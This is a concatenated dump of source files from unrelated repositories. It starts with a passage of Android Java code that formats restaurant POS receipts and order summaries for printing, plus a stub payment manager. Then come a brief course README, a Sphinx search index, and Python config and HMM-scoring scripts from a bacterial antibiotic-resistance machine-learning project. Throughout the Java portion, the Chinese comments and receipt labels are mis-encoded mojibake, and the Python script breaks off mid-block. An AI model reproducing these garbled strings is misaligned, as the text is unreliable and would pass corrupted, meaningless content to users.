nameStr += tempStr + "\n";
}
}
}
return nameStr;
}
//ๆๅฐ่ๅๆฐๆฎๆ็ป
private void printFoods(JSONArray arr, List<OrderDetail> orderDetails, int mainStatus)
{
for (OrderDetail orderDetail : orderDetails)
{
// mainStatus; //่ฎขๅ็ถๆ(1=ๅๅง|2=ๆฏไปๆๅ|8=้คๅๆฏไปๅทฒ็กฎ่ฎค|9=้คๅๆฏไปๅทฒๅๆถ) @mock=1๏ผ1 ใ8 ใ9ๆชๆฏไป 2๏ผๅทฒๆฏไป๏ผ
// addState;//0ๆฎ้ 1ๅ ่ 2้่
if (orderDetail.getAddState() == 1 || (mainStatus == 2 && orderDetail.getAddState() == 2))
{
continue;
}
try
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printSingleFood(length_1, length_2, length_3,
orderDetail)));
}
catch (JSONException e)
{
e.printStackTrace();
}
}
}
//ๅ ่ๅ่ๅๅ่กจ
private void printAddOrderFoods(JSONArray arr, List<OrderDetail> orderDetailModelList)
{
for (OrderDetail bean : orderDetailModelList)
{
try
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printSingleFood(length_1, length_2, length_3,
bean)));
}
catch (JSONException e)
{
e.printStackTrace();
}
}
}
//ๆๅฐๅ ่ๆฐๆฎๆ็ป
private void printAddFoods(JSONArray arr, List<OrderDetail> orderDetails)
{
boolean isPrint = false;
for (OrderDetail orderDetail : orderDetails)
{
try
{
if (orderDetail.getAddState() != 1)
{
continue;
}
// ๅฆๆๆฏๅ ่
if (!isPrint)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "--------------ๅ ่-------------"));
isPrint = true;
}
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printSingleFood(length_1, length_2, length_3,
orderDetail)));
}
catch (JSONException e)
{
e.printStackTrace();
}
}
}
/**
* ๆฑๆปๆๅฐไธญๅฏน่ฟ้ฟ้ค้ฆๅ็ๅค็
*
* @param srcStr ๅๅ็งฐ
* @param seprator ้่ฆๆๅ
ฅ็ๅญ็ฌฆ
* @param count ้ด้ๅ ไธชๅญ็ฌฆๅ ๆๅ
ฅๅญ็ฌฆ
* @return ๅค็ๅ็ๅญ็ฌฆไธฒ
*/
// private String setRestaurantName(String srcStr, String seprator, int count)
// {
// StringBuffer sb = new StringBuffer(srcStr);
// int index = count;
// while (sb.length() > count && index < sb.length() - 1)
// {
// sb.insert(index, seprator);
// index += count + seprator.length();
// }
// return sb.toString();
// }
/**
* ็ปๅๆฑๆป่ฎขๅๆ็ปๆฐๆฎ
*/
private void compositeData(JSONArray arr, String selectedWay, OrderSummaryData orderSummaryData)
{
try
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆฑๆป"));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆปไปฝๆฐ:" + orderSummaryData.getTotalNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๅทฒๆฏไปไปฝๆฐ:" + orderSummaryData.getPaidNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆชๆฏไปไปฝๆฐ:" + orderSummaryData.getUnpaidNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆป้้ข:" + orderSummaryData.getTotalMoney()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅทฒไปๆฌพ้้ข:" + orderSummaryData.getPaidMoney()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆชไปๆฌพ้้ข:" + orderSummaryData.getUnpaidMoney()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆถ้ถๆ็ป(ๅฎๆถ้้ข)"));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
if (selectedWay.contains("3"))
{//่ฎขๅๆถ้ถ
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆถ้ถ"));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆปไปฝๆฐ:" + orderSummaryData
.getOrderTotalNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๅทฒๆฏไปไปฝๆฐ:" + orderSummaryData
.getOrderPaidNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆชๆฏไปไปฝๆฐ:" + orderSummaryData
.getOrderUnpaidNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆป้้ข:" + orderSummaryData
.getOrderTotalMoney()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๅทฒไป้้ข:" + orderSummaryData
.getOrderPaidMoney()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆชไป้้ข:" + orderSummaryData
.getOrderUnpaidMoney()));
printNoZero("ๅพฎไฟกๆฏไป:", orderSummaryData.getOrderWeChatMoney(), arr);
printNoZero("ๆฏไปๅฎๆฏไป:", orderSummaryData.getOrderAliMoney(), arr);
printNoZero("ๅทๅกๆฏไป:", orderSummaryData.getOrderCardMoney(), arr);
printNoZero("POSๆบๆซ็ ๆฏไป:", orderSummaryData.getOrderPostMoney(), arr);
printNoZero("็ฐ้ๆฏไป:", orderSummaryData.getOrderCashMoney(), arr);
printNoZero("่ต ้ๅ
ๅ:", orderSummaryData.getOrderFreeMoney(), arr);
printNoZero("ๅญ็ฅจไผๅๆฏไป:", orderSummaryData.getOrderCunPiaoMoney(), arr);
printNoZero("ไธชไบบๅพฎไฟก(่ฎฐๅฝ):", orderSummaryData.getOrderWechatRecordMoney(), arr);
printNoZero("ไธชไบบๆฏไปๅฎ(่ฎฐๅฝ):", orderSummaryData.getOrderAliRecordMoney(), arr);
printNoZero("ๅฅฝๅๆฏไป(่ฎฐๅฝ):", orderSummaryData.getOrderHdRecordMoney(), arr);
printNoZero("ไผๅๅจๅผๅก(่ฎฐๅฝ):", orderSummaryData.getOrderMemberRecordMoney(), arr);
printNoZero("็พๅข็น่ฏ(่ฎฐๅฝ):", orderSummaryData.getOrderMtdpRecordMoney(), arr);
printNoZero("ไปฃ้ๅธๆฏไป(่ฎฐๅฝ):", orderSummaryData.getOrderVoucherRecordMoney(), arr);
printNoZero("ๆ่ดฆๆ็ป(่ฎฐๅฝ):", orderSummaryData.getOrderMonthlyRecordMoney(), arr);
printNoZero("ๅ
่ดน่ต ้(่ฎฐๅฝ):", orderSummaryData.getOrderFreeRecordMoney(), arr);
printNoZero("้ถ่ๅทๅก(่ฎฐๅฝ):", orderSummaryData.getOrderUnionpayCardRecordMoney(), arr);
printNoZero(getStr(R.string.clear_record) + " : ", orderSummaryData.getOrderClearTotalMoney(), arr);
printNoZero(getStr(R.string.reduction_record) + " : ", orderSummaryData.getOrderReductionSpecialMoney(), arr);
printNoZero(getStr(R.string.discount_record) + " : ", orderSummaryData.getOrderDiscountSpecialMoney(), arr);
printNoZero("ๅฃ็ขๅๅๅธไผๆ : ", orderSummaryData.getOrderKoubeiSpecialMoney(), arr);
printNoZero("ไผๅๅกไผๆ : ", orderSummaryData.getOrderMembershipDiscount(), arr);
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
}
if (selectedWay.contains("1"))
{//่ช็ฑๆถ้ถ
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ช็ฑๆถ้ถ"));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆปไปฝๆฐ:" + orderSummaryData
.getFreeCashTotalNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๅทฒๆฏไปไปฝๆฐ:" + orderSummaryData
.getFreePaidNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆชๆฏไปไปฝๆฐ:" + orderSummaryData
.getFreeUnpaidNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆป้้ข:" + orderSummaryData
.getFreeCashTotalMoney()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๅทฒไป้้ข:" + orderSummaryData
.getFreeCashPaidMoney()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆชไป้้ข:" + orderSummaryData
.getFreeCashUnpaidMoney()));
printNoZero("ๅพฎไฟกๆฏไป:", orderSummaryData.getFreeCashWeChatMoney(), arr);
printNoZero("ๆฏไปๅฎๆฏไป:", orderSummaryData.getFreeCashAliMoney(), arr);
printNoZero("POSๆบๆซ็ ๆฏไป:", orderSummaryData.getFreePostMoney(), arr);
printNoZero("็ฐ้ๆฏไป:", orderSummaryData.getFreeCashCashMoney(), arr);
printNoZero("ๅทๅกๆฏไป:", orderSummaryData.getFreeCashCardMoney(), arr);
printNoZero(getStr(R.string.reduction_record) + " : ", orderSummaryData.getFreeReductionSpecialMoney(), arr);
printNoZero(getStr(R.string.discount_record) + " : ", orderSummaryData.getFreeDiscountSpecialMoney(), arr);
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
}
if (selectedWay.contains("2"))
{//ๅฎ้ขๆถ้ถ
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅฎ้ขๆถ้ถ"));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆปไปฝๆฐ:" + orderSummaryData
.getQuotaTotalNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๅทฒๆฏไปไปฝๆฐ:" + orderSummaryData
.getQuotaPaidNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆชๆฏไปไปฝๆฐ:" + orderSummaryData
.getQuotaUnpaidNumber()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆป้้ข:" + orderSummaryData
.getQuotaTotalMoney()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๅทฒไป้้ข:" + orderSummaryData
.getQuotaPaidMoney()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅๆชไป้้ข:" + orderSummaryData
.getQuotaUnpaidMoney()));
printNoZero("ๅพฎไฟกๆฏไป:", orderSummaryData.getQuotaWeChatMoney(), arr);
printNoZero("ๆฏไปๅฎๆฏไป:", orderSummaryData.getQuotaAliMoney(), arr);
printNoZero("POSๆบๆซ็ ๆฏไป:", orderSummaryData.getQuotaPostMoney(), arr);
printNoZero("ๅทๅกๆฏไป:", orderSummaryData.getQuotaCardMoney(), arr);
printNoZero("็ฐ้ๆฏไป:", orderSummaryData.getQuotaCashMoney(), arr);
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
}
}
catch (JSONException e)
{
e.printStackTrace();
}
}
/**
* ๆๅฐๅผไธไธบ0็้กน
*
* @param head
* @param value
*/
private void printNoZero(String head, double value, JSONArray arr) throws JSONException
{
if (0 != value)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", head + value));
}
}
}
```
LianDiA8PayManager.java
```package com.yunjiangzhe.wangwang.printer.a8;
import android.app.Activity;
import android.util.Log;
import com.yunjiangzhe.wangwang.bean.PostGetInfoEntity;
import com.yunjiangzhe.wangwang.match.IPayManager;
public class LianDiA8PayManager implements IPayManager {
private final String wxPay_sao = "ๅพฎไฟกๆซ็ ๆฏไป";
private final String alPay_sao = "ๆฏไปๅฎๆซ็ ๆฏไป";
private final String wxPay_qr = "ๅพฎไฟกไบ็ปด็ ๆฏไป";
private final String alPay_qr = "ๆฏไปๅฎไบ็ปด็ ๆฏไป";
private final String cardPay = "ๅทๅกๆฏไป";
public final static int REQUEST_CODE = 10;//็พๅขๆฏไปActivity่ฟๅ็
/**
* ็พๅขๆบ่ฏๅซ็ ๆฏไปๅฎ
*/
private final int ERP_PAY_TYPE_ALI = 1;
/**
* ็พๅขๆบ่ฏๅซ็ ๅพฎไฟก
*/
private final int ERP_PAY_TYPE_WEIXIN = 2;
/**
* ็พๅขๆบ่ฏๅซ็ ้ถ่กๅก
*/
private final int ERP_PAY_TYPE_BANK = 3;
/**
* ็พๅขๆบ่ฏๅซ็ apple pay
*/
private final int ERP_PAY_TYPE_APPLE = 4;
private int payWay = 0;
@Override
public void smartPay(Activity context, String payType, PostGetInfoEntity data)
{
// switch (payType)
// {
// case cardPay:
// payWay = ERP_PAY_TYPE_BANK;
// break;
// case alPay_qr:
// case wxPay_qr:
// break;
// case alPay_sao:
// payWay = ERP_PAY_TYPE_ALI;
// break;
// case wxPay_sao:
// payWay = ERP_PAY_TYPE_WEIXIN;
// break;
// }
Log.e("yza","่่ฟชa8ๆฏไป");
}
@Override
public void payCallBack(Activity context, String callBackData)
{
}
}
```
|
yvanLuzin/CS106B-Sections
|
yvanLuzin/CS106B-Sections
README.md
```# CS106B-Sections
Section solutions for Stanford CS106B Winter 2018 offering
```
|
yvanlucas/magitics
|
yvanlucas/magitics
searchindex.js
```Search.setIndex({docnames:["api/data","api/index","api/learning","api/main","docs/index","docs/main","index"],envversion:{"sphinx.domains.c":2,"sphinx.domains.changeset":1,"sphinx.domains.citation":1,"sphinx.domains.cpp":3,"sphinx.domains.index":1,"sphinx.domains.javascript":2,"sphinx.domains.math":2,"sphinx.domains.python":2,"sphinx.domains.rst":2,"sphinx.domains.std":1,sphinx:56},filenames:["api/data.rst","api/index.rst","api/learning.rst","api/main.rst","docs/index.rst","docs/main.rst","index.rst"],objects:{"":{main:[3,0,0,"-"]},"data.Kmer_parser":{count_kmers_dsk:[0,1,1,""],count_kmers_gerbil:[0,1,1,""],parse_kmers_dsk:[0,1,1,""],parse_kmers_gerbil:[0,1,1,""]},"data.Kmercount_to_matrix":{clean_temp_directories:[0,1,1,""],create_sparse_coos:[0,1,1,""],extend_kmerdicts:[0,1,1,""],populate_sparse_matrix:[0,1,1,""],run:[0,1,1,""]},"data.kmer_gene_correspondance":{build_kmer_gene_dict:[0,1,1,""],extract_genes_from_seq:[0,1,1,""],extract_sequence:[0,1,1,""],get_genes_from_kmers:[0,1,1,""],get_genes_limit:[0,1,1,""],kmers_within_gene:[0,1,1,""],run:[0,1,1,""]},"data.plfam_parser":{run:[0,1,1,""]},"data.plfam_to_matrix":{fill_dic:[0,1,1,""],get_list_plfams:[0,1,1,""],run:[0,1,1,""]},"learning.Test_streaming":{adapted_accuracy:[2,1,1,""],append_prediction:[2,1,1,""],clean_temp_directories:[2,1,1,""],create_sparse_coos:[2,1,1,""],evaluate_and_write_report:[2,1,1,""],get_kmer_counts:[2,1,1,""],map_data_to_coords:[2,1,1,""],parse_and_map_kmers:[2,1,1,""],parse_kmers_dsk:[2,1,1,""],populate_sparse_matrix:[2,1,1,""],predict_pruned:[2,1,1,""],prune_boosting:[2,1,1,""],run:[2,1,1,""],write_report:[2,1,1,""]},"learning.Train_kmer_clf":{adapted_accuracy:[2,1,1,""],chi2_feature_selection:[2,1,1,""],evaluate_and_write_report:[2,1,1,""],fit:[2,1,1,""],get_accuracy_treshold:[2,1,1,""],plot_CV_heatmap:[2,1,1,""],plot_boosting_learning_curve:[2,1,1,""],predict:[2,1,1,""],preprocess_y:[2,1,1,""],run:[2,1,1,""],split_train_test:[2,1,1,""]},data:{Kmer_parser:[0,0,0,"-"],Kmercount_to_matrix:[0,0,0,"-"],kmer_gene_correspondance:[0,0,0,"-"],plfam_parser:[0,0,0,"-"],plfam_to_matrix:[0,0,0,"-"]},learning:{Test_streaming:[2,0,0,"-"],Train_kmer_clf:[2,0,0,"-"]},main:{create_geneIDsDF:[3,1,1,""],create_sparseDB:[3,1,1,""],train_test_model_batch:[3,1,1,""],train_test_model_stream:[3,1,1,""]}},objnames:{"0":["py","module","Python module"],"1":["py","function","Python function"]},objtypes:{"0":"py:module","1":"py:function"},terms:{"class":[0,2],"function":[1,6],"import":[2,4,5],"new":[2,4,5],"return":[0,2],"true":[4,5],For:0,Use:0,accord:2,accuraci:2,ada:[4,5],adapt:2,adapted_accuraci:2,adat:2,adding:[],all:[0,4,5],allow:0,also:2,amr:[0,4,5],antimicrobi:[4,5],api:6,appear:0,append:2,append_predict:2,architectur:[],argument:[4,5],arrai:2,assembl:0,associ:0,base:[1,6],batch:[1,3,6],batchnumb:2,batchsiz:[2,4,5],befor:[4,5],best:2,binari:2,boost:2,bordeaux:[],build_kmer_gene_dict:0,calcul:2,call:[0,2],can:[0,4,5],cbib:[],chang:[],changefna2fa:[],chi2_feature_select:2,chosen:2,classifi:[2,4,5],clean_temp_directori:[0,2],clf:[4,5],clone:[4,5],col:[0,2],com:[0,4,5],command:[0,2],comput:2,config:[4,5],configur:[4,5],consid:0,consum:[4,5],contact:[4,5],contain:[0,2],content:[],contig:0,coo_matrix:[4,5],coordin:[0,2],correct:2,correl:2,correspond:[1,2,6],count:[1,2,3,6],count_kmers_dsk:0,count_kmers_gerbil:0,counter:2,creat:[0,2,3],create_geneidsdf:3,create_sparse_coo:[0,2],create_sparsedb:3,cross:2,csr:0,current:2,curv:2,cv_clf:[4,5],data:[0,2,4,5],datafram:[0,3],dataload:[1,6],dataset:[1,6],delet:[0,2],depth:2,devianc:2,dic:0,dic_data:0,dic_df:0,dic_gen:0,dic_kmer_gen:0,dic_limit:0,dicdata:0,dict:[0,2],dictionari:[0,2],dictionnari:0,directori:[],dirnam:[],dirnamein:[],dirnameout:[],discard:2,dna:[0,4,5],dsk:[0,2],dure:[0,2],each:0,effici:[4,5],evalu:[2,4,5],evaluate_and_write_report:2,exampl:[4,5],exist:2,extend:2,extend_kmerdict:0,extens:[],extract:0,extract_genes_from_seq:0,extract_sequ:0,fals:[2,4,5],fasta:[0,2,4,5],fastanam:2,featur:[0,2,4,5],file:[0,2,4,5],filenam:[],fill:[0,2],fill_dic:0,fit:2,fna:[],follow:[],form:[0,4,5],format:[4,5],framework:[],from:[0,2,4,5],gatb:0,gather:0,gene:[1,3,4,5,6],gener:[0,2],geneseq1:0,geneseq2:0,geneseq:0,genom:0,gerbil:0,get:0,get_accuracy_treshold:2,get_genes_from_km:0,get_genes_limit:0,get_kmer_count:2,get_list_plfam:0,git:[4,5],github:[0,4,5,6],given:0,gradient:[4,5],gridsearch:2,gridsearchcv:2,groud:[],ground:2,hall:0,heatmap:2,http:[0,4,5],identifi:[0,4,5],imported_memb:[],index:[2,6],indic:2,individu:0,inform:0,inherit:2,initi:0,input:[2,4,5],instal:[4,5],intermedi:[0,2],iter:[0,2],keep:2,kei:0,kmer1:[0,2],kmer2:[0,2],kmer:[1,2,3,4,5,6],kmer_count:[0,2],kmer_gene_correspond:0,kmer_pars:0,kmer_to_index:[4,5],kmercount:[0,2],kmercount_to_matrix:[0,4,5],kmercountfil:2,kmerdict:0,kmerextractionandcount:0,kmers_count:2,kmers_pars:0,kmers_within_gen:0,kmerscount2datafram:0,kover:[],label:2,label_in_nam:[],learn:[1,4,5,6],learner:[4,5],least:2,len:0,len_kmer:0,leverag:[4,5],limit1:0,limit2:0,limit:0,line:[0,2],list:[0,2],ls_index:2,ls_kmer:0,ls_plfam:0,luca:[4,5],machin:[4,5],magit:5,magitics_project:[4,5],mai:0,main:[1,6],map:2,map_data_to_coord:2,matric:2,matrix:[1,2,3,4,5,6],mer:[4,5],merg:0,metadata:[],method:[0,2],metric:2,mode:[1,4,5,6],model:[2,4,5],modul:6,more:[4,5],move:[],must:[4,5],n_estim:2,name:[],need:[],none:2,numcontig:0,numpi:[2,4,5],object:0,obtain:2,onc:[4,5],one:[2,4,5],onli:2,optim:2,option:2,optionn:2,optionnali:2,order:0,other:[],output:[4,5],over:[0,2],packag:[4,5],page:6,pairwis:0,panda:[0,4,5],param:[0,2],paramet:[0,2],pars:[0,2,4,5],parse_and_map_km:2,parse_kmers_dsk:[0,2],parse_kmers_gerbil:0,parser:[0,2,4,5],pass:[4,5],path:[0,2,4,5],pathtofil:0,pathtokmercountfil:2,patric:0,per:[],pgfam1:0,pgfam2:0,pgfam:0,pickl:[4,5],plfam1:0,plfam2:0,plfam:0,plfam_pars:0,plfam_to_matrix:0,plot:2,plot_boosting_learning_curv:2,plot_cv_heatmap:2,populate_sparse_matrix:[0,2],potenti:[4,5],pre:2,precis:[4,5],predict:[0,2,4,5],predict_prun:2,preprocess_i:2,process:[4,5],project:[4,5],prune:2,prune_boost:2,python3:[4,5],ram:[4,5],readm:6,redund:[0,2],refactor:2,refer:6,refin:2,renam:[],repo:6,report:[2,4,5],requir:[4,5],research:[4,5],resist:[4,5],respect:2,result:0,retain:2,row:[0,2],run:[0,2,4,5],save:2,scikit:[4,5],scipi:[0,4,5],scm:[4,5],score:[2,4,5],search:6,self:[0,2],seq1:0,seq2:0,sequenc:[0,4,5],set:2,sever:2,sheet:0,sinc:0,softwar:[0,2],some:0,sometim:0,spars:[0,2,3,4,5],sparse_csr:0,specifi:[4,5],split:2,split_train_test:2,start:[4,5],store:[],strain1:0,strain:[0,4,5],strain_a:0,strain_b:0,strain_c:0,strainid:0,stream:[1,3,4,5,6],suscept:[],tab:0,target:[0,2],tensorflow:[4,5],test:[1,3,4,5,6],test_stream:[2,4,5],tester:[4,5],thei:0,them:2,thi:0,through:0,train:[1,3,6],train_kmer_clf:[2,4,5],train_test_model_batch:3,train_test_model_stream:3,transform:2,tre:2,tree:2,treshold:2,truth:2,twice:0,two:2,type:[0,2],understand:0,uni:0,uniqu:0,univers:[],usag:[4,5],use:[2,4,5],used:[0,2],useful:[],using:[0,2,4,5],util:[],valid:2,valu:[0,2],variabl:2,vector:2,veri:2,version:2,vlaue:[],want:[4,5],were:[0,2],when:[],where:[],which:0,work:[],wrap:[0,2],write:2,write_kover_metadata_fil:[],write_report:2,x_test:2,x_train:2,y_pred:[2,4,5],y_predict:2,y_prune:[2,4,5],y_test:[2,4,5],y_train:2,y_true:[4,5],you:[4,5],your:[4,5],yvan:[4,5],yvanluca:[4,5]},titles:["Dataset & DataLoaders","API Reference","Learning","Main functions","MAGITICS Readme","<no title>","Welcome to MAGITICS documentation!"],titleterms:{"function":3,api:1,base:0,batch:2,bordeaux:[],cbib:[],clone:[],configur:[],contact:[],content:[],correspond:0,count:0,dataload:0,dataset:0,document:6,format:[],gene:0,get:[],home:6,indic:6,input:[],instal:[],kmer:0,learn:2,magit:[4,6],main:3,matrix:0,mode:2,output:[],pars:[],path:[],project:6,readm:4,refer:1,requir:[],sphinx:[],start:[],stream:2,tabl:6,test:2,train:2,univers:[],usag:[],welcom:6}})```
config.py
```import argparse
# PATHs
id='8'
xp_name = 'strept_pneumo_31'
#xp_name = 'esche_amox_31'
#xp_name='acineto_imip_20'
mode='serv' #can be ['local', 'serv', 'laptop']
dtype='sparse' #can be ['df','sparse']
if mode == 'serv':
pathtoxp = '/mnt/cbib/MAGITICS_Yvan/experiments_kmer_count/'
pathtodata='/scratch/MAGITICS_data/'
# testdir='Pseudomonas_aeruginosa/levofloxacin/test/test'
# testdir='Escherichia_coli/test/test'
# data='Escherichia_coli/traindata/'
# data = 'Pseudomonas_aeruginosa/levofloxacin/traindata/'
data = 'Streptococcus_pneumoniae/datajie/'
testdir = 'Streptococcus_pneumoniae/testjie/'
#data='Acinetobacter_baumanii/traindata/'
#testdir='Acinetobacter_baumanii/test/test/'
elif mode == 'local':
pathtoxp = '/home/ylucas/toydata_pseudomonas_levofloxacin/'
pathtodata='/home/ylucas/toydata_pseudomonas_levofloxacin/'
data='traindatabis'
testdir='test/test'
elif mode == 'laptop':
pathtoxp='/home/ylucas/Bureau/expe_postdoc/xp'
pathtodata='/home/ylucas/Bureau/expe_postdoc/data_postdoc/'
data= ''
testdir='test'
# Kmer extraction parameters
kmer_count = 1 # 1: kmer count, 0: presence/absence
len_kmers = 20
MIC=True
min_abundance = 3 #not used atm
kmer_count=1 #1: kmer count, 0: presence/absence
len_kmers=20
# Learning parameters
model = 'gradient' # can be ['rf','SCM', 'gradient', 'Ada']
rf_grid = {'max_features': ['sqrt', 'log2'],
'max_depth': [4, 8]}
SCM_grid = {'p': [1, 10], 'max_rules': [1, 3 ,10], 'model_type':['conjunction','disjunction']}
gradient_grid = {'max_depth': [1, 2, 4],
'n_estimators': [10, 6,4, 2] }
ada_grid = {'n_estimators': [ 5, 10, 20]}
pruning_tresh=0.9
def get_lenkmers():
parser=argparse.ArgumentParser()
parser.add_argument('--len_kmers', type=int, default=31)
arg=parser.parse_args()
return arg.len_kmers
len_kmers= 20 #int(get_lenkmers())
id='MICkmers20penicillin'#+str(int(get_lenkmers()))
```
HMMscores.py
```#TODO:
# For each strain:
# 1) Gather PLFAM ids and corresponding nuc sequence
# 2) HMMscan each locus against the corresponding HMM flatfile
# 3) get bitscore (susceptible - resistant) or only the one existings
# 4) put bitscore into a dic for each strain: strain: {plfam1:score1, ...}
# 5) Create dataframe
# old data path '../toy_dataset/susceptible'
# new data path '/scratch/MAGITICS_data/Pseudomonas_aeruginosa/levofloxacin/data/test/susceptible'
datapath= '/scratch/MAGITICS_data/Pseudomonas_aeruginosa/levofloxacin/data/test/susceptible'
import pandas as pd
import os, sys
import numpy as np
#TODO 1) Gather PLFAM ids and corresponding nuc sequence
import trainHMMs as trainHMM
gene_fam=trainHMM.gene_family_file()
gene_fam.run(pathtofolder='../toy_dataset/susceptible') #TODO change path accordingly to parse susceptible and resistant data folders
#######################################################################################
# 2) HMMscan each locus against the corresponding HMM flatfile
#/ !\ Comment all the other line from HMMscores.py before running the script hmmscore.sh
import argparse
def get_strainname():
"""
get the strainname from the execution of the bash script hmmscore.sh
"""
parser=argparse.ArgumentParser()
parser.add_argument('--strainname', type=str, default='31')
arg=parser.parse_args()
return arg.strainname
def hmm_scan_each_strain(strainname):
"""
Open the plfams
Args:
strainname:
Returns:
"""
pathtostrain=os.path.join('../toy_dataset/susceptible', strainname) #TODO: change path
ls_plfam=os.listdir(pathtostrain)
pathtoflatfiles=os.path.join('../toy_dataset/susceptible') #TODO: change path
for plfam in ls_plfam:
pathtoscan=os.path.join(pathtostrain,'hmmscan', plfam)
cmd="hmmscan --tblout %s.txt --cpu 1 %s %s" %( pathtoscan, os.path.join(pathtoflatfiles, plfam, plfam), os.path.join(pathtostrain, plfam))
#TODO ^ change path of nuc sequence to scan
os.system(cmd)
#FOR EACH STRAINNAME
strainname=get_strainname()
hmm_scan_each_strain(strainname)
# 3) Get Scores and label from HMMscan output
from Bio import SearchIO
from collections import defaultdict
import pickle
class hmmscan_to_pandas(object):
def __init__(self):
return
def parse_file(self, path):
attribs = ['query_id', 'bitscore', 'evalue', 'id']
hits = defaultdict(list)
with open(path) as handle:
for queryresult in SearchIO.parse(handle, 'hmmer3-tab'):
#print(queryresult.id)
#print(queryresult.accession)
#print(queryresult.description)
for hit in queryresult.hits:
for attrib in attribs:
hits[attrib].append(getattr(hit, attrib))
df=pd.DataFrame.from_dict(hits)
return df
def get_score_values(self, df):
grouped = df.groupby('query_id')
uniques = df['query_id'].unique()
dic={}
for locus_id in uniques:
group = grouped.get_group(locus_id)
ls_id = []
ls_score = []
try:
ls_score.append(group.iloc[0, 1])
ls_score.append(group.iloc[1,1])
ls_id.append(group.iloc[0,3])
ls_id.append(group.iloc[1,3])
score, plf=self.calculate_score(ls_score, ls_id)
dic[plf]=score
except:
a = 1
return dic
def get_label(self, strainID):
label='susceptible' #TODO: change by hand or automate it
def calculate_score(self, ls_score, ls_id):
if ls_id[0][:4]=='susc':
score=ls_score[0]-ls_score[1]
plf=ls_id[1][10:]
elif ls_id[0][:4]=='resi':
score=np.float64(ls_score[1])-np.float64(ls_score[0])
plf=ls_id[0][10:]
return score, plf
def run(self, strainID):
df_annotations=self.parse_file(os.path.join('../toy_dataset/susceptible',strainID,'hmmscan')) #TODO: change path
dic=self.get_score_values(df_annotations)
dic['label']=self.get_label(strainID)
with open(os.path.join('../toy_dataset/susceptible', strainID, 'dic_scores.pkl'), "w") as f: #TODO: change path
pickle.dump(dic, f)
#FOR EACH STRAINNAME
hmmscanparse=hmmscan_to_pandas()
hmmscanparse.run(strainname)
#4 Load all dics and append them in a pandas dataframe
class create_df_from_hmmscandict(object):
def __init__(self):
return
def run(self, datadir):
ls_dicts=[]
ls_dir=['resistant','susceptible']
for dir in ls_dir:
dirpath=os.path.join(datadir, dir)
ls_straindir=os.listdir(dirpath)
for straindir in ls_straindir:
print(straindir)
if os.path.isdir(os.path.join(dirpath, straindir)):
print(straindir)
with open(os.path.join(dirpath, straindir, 'dic_scores.pkl'), "rb") as f: # TODO: change path
dic = pickle.load(f)
ls_dicts.append(dic)
df=pd.DataFrame(ls_dicts)
print(df['label'])
df.to_csv(os.path.join(datadir, 'df.csv'))
with open(os.path.join(datadir, 'dicts.pkl'), "wb") as f: #TODO: change path
